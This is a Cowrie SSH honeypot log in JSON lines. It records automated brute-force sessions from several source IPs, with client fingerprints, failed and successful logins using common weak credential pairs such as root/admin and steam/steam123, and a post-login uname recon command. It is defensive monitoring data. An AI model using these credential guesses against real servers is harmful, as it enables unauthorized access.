{"eventid":"cowrie.session.connect","src_ip":"154.83.196.237","src_port":45372,"dst_ip":"159.203.135.109","dst_port":22,"session":"73b378565420","protocol":"ssh","message":"New connection: 154.83.196.237:45372 (159.203.135.109:22) [session: 73b378565420]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:16:41.878852Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:16:41.882907Z","src_ip":"154.83.196.237","session":"73b378565420","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:16:42.004752Z","src_ip":"154.83.196.237","session":"73b378565420","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"hasan123","message":"login attempt [root/hasan123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:16:42.526055Z","src_ip":"154.83.196.237","session":"73b378565420","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:16:43.651212Z","src_ip":"154.83.196.237","session":"73b378565420","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.75.199.4","src_port":51430,"dst_ip":"159.203.135.109","dst_port":22,"session":"d23533cbb385","protocol":"ssh","message":"New connection: 103.75.199.4:51430 (159.203.135.109:22) [session: d23533cbb385]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:16:48.015098Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:16:48.018771Z","src_ip":"103.75.199.4","session":"d23533cbb385","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"43.163.119.215","src_port":36212,"dst_ip":"10.17.0.5","dst_port":22,"session":"f32db76a6181","protocol":"ssh","message":"New connection: 43.163.119.215:36212 (10.17.0.5:22) [session: f32db76a6181]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:16:48.085561Z"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:16:48.109171Z","src_ip":"103.75.199.4","session":"d23533cbb385","protocol":"ssh"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:16:48.153634Z","src_ip":"43.163.119.215","session":"f32db76a6181","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"root","password":"admin","message":"login attempt [root/admin] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:16:48.381608Z","src_ip":"103.75.199.4","session":"d23533cbb385","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:16:48.396384Z","src_ip":"43.163.119.215","session":"f32db76a6181","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:16:48.608576Z","src_ip":"103.75.199.4","session":"d23533cbb385","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"uname -s -v -n -r -m","message":"CMD: uname -s -v -n -r -m","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:16:48.611850Z","src_ip":"103.75.199.4","session":"d23533cbb385","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804","size":71,"shasum":"7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804","duplicate":true,"duration":"0.1","message":"Closing TTY Log: var/lib/cowrie/tty/7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804 after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:16:48.706065Z","src_ip":"103.75.199.4","session":"d23533cbb385","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.7","message":"Connection lost after 0.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:16:48.711052Z","src_ip":"103.75.199.4","session":"d23533cbb385","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"steam","password":"steam123","message":"login attempt [steam/steam123] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:16:49.349646Z","src_ip":"43.163.119.215","session":"f32db76a6181","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:16:49.875569Z","src_ip":"43.163.119.215","session":"f32db76a6181","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"uname -s -v -n -r -m","message":"CMD: uname -s -v -n -r -m","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:16:49.877958Z","src_ip":"43.163.119.215","session":"f32db76a6181","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804","size":71,"shasum":"7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804","duplicate":true,"duration":"0.3","message":"Closing TTY Log: var/lib/cowrie/tty/7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804 after 0.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:16:50.125661Z","src_ip":"43.163.119.215","session":"f32db76a6181","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.0","message":"Connection lost after 2.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:16:50.129863Z","src_ip":"43.163.119.215","session":"f32db76a6181","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"43.163.119.215","src_port":58186,"dst_ip":"10.17.0.5","dst_port":22,"session":"54730009994d","protocol":"ssh","message":"New connection: 43.163.119.215:58186 (10.17.0.5:22) [session: 54730009994d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:16:50.883905Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:16:50.887856Z","src_ip":"43.163.119.215","session":"54730009994d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:16:51.125257Z","src_ip":"43.163.119.215","session":"54730009994d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"Aa123456","message":"login attempt [ubuntu/Aa123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:16:51.841384Z","src_ip":"43.163.119.215","session":"54730009994d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"43.163.119.215","src_port":58184,"dst_ip":"10.17.0.5","dst_port":22,"session":"352fb397a773","protocol":"ssh","message":"New connection: 43.163.119.215:58184 (10.17.0.5:22) [session: 352fb397a773]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:16:52.493756Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:16:52.498262Z","src_ip":"43.163.119.215","session":"352fb397a773","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:16:52.735342Z","src_ip":"43.163.119.215","session":"352fb397a773","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:16:53.080773Z","src_ip":"43.163.119.215","session":"54730009994d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"frappe","password":"frappe","message":"login attempt [frappe/frappe] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:16:53.448275Z","src_ip":"43.163.119.215","session":"352fb397a773","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:16:54.688304Z","src_ip":"43.163.119.215","session":"352fb397a773","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"186.116.56.108","src_port":41808,"dst_ip":"159.203.135.109","dst_port":22,"session":"1714d0f0e11a","protocol":"ssh","message":"New connection: 186.116.56.108:41808 (159.203.135.109:22) [session: 1714d0f0e11a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:16:54.706077Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:16:54.711279Z","src_ip":"186.116.56.108","session":"1714d0f0e11a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:16:54.807608Z","src_ip":"186.116.56.108","session":"1714d0f0e11a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"argo","message":"login attempt [root/argo] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:16:55.194833Z","src_ip":"186.116.56.108","session":"1714d0f0e11a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:16:56.288349Z","src_ip":"186.116.56.108","session":"1714d0f0e11a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"43.163.119.215","src_port":53206,"dst_ip":"10.17.0.5","dst_port":22,"session":"d94373132f6c","protocol":"ssh","message":"New connection: 43.163.119.215:53206 (10.17.0.5:22) [session: d94373132f6c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:16:56.331282Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:16:56.338079Z","src_ip":"43.163.119.215","session":"d94373132f6c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:16:56.583955Z","src_ip":"43.163.119.215","session":"d94373132f6c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"kipt","password":"kipt","message":"login attempt [kipt/kipt] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:16:57.321453Z","src_ip":"43.163.119.215","session":"d94373132f6c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:16:58.586236Z","src_ip":"43.163.119.215","session":"d94373132f6c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.75.199.4","src_port":59082,"dst_ip":"159.203.135.109","dst_port":22,"session":"d443f1e2e35b","protocol":"ssh","message":"New connection: 103.75.199.4:59082 (159.203.135.109:22) [session: d443f1e2e35b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:17:09.914595Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:17:09.918519Z","src_ip":"103.75.199.4","session":"d443f1e2e35b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:17:10.009425Z","src_ip":"103.75.199.4","session":"d443f1e2e35b","protocol":"ssh"}
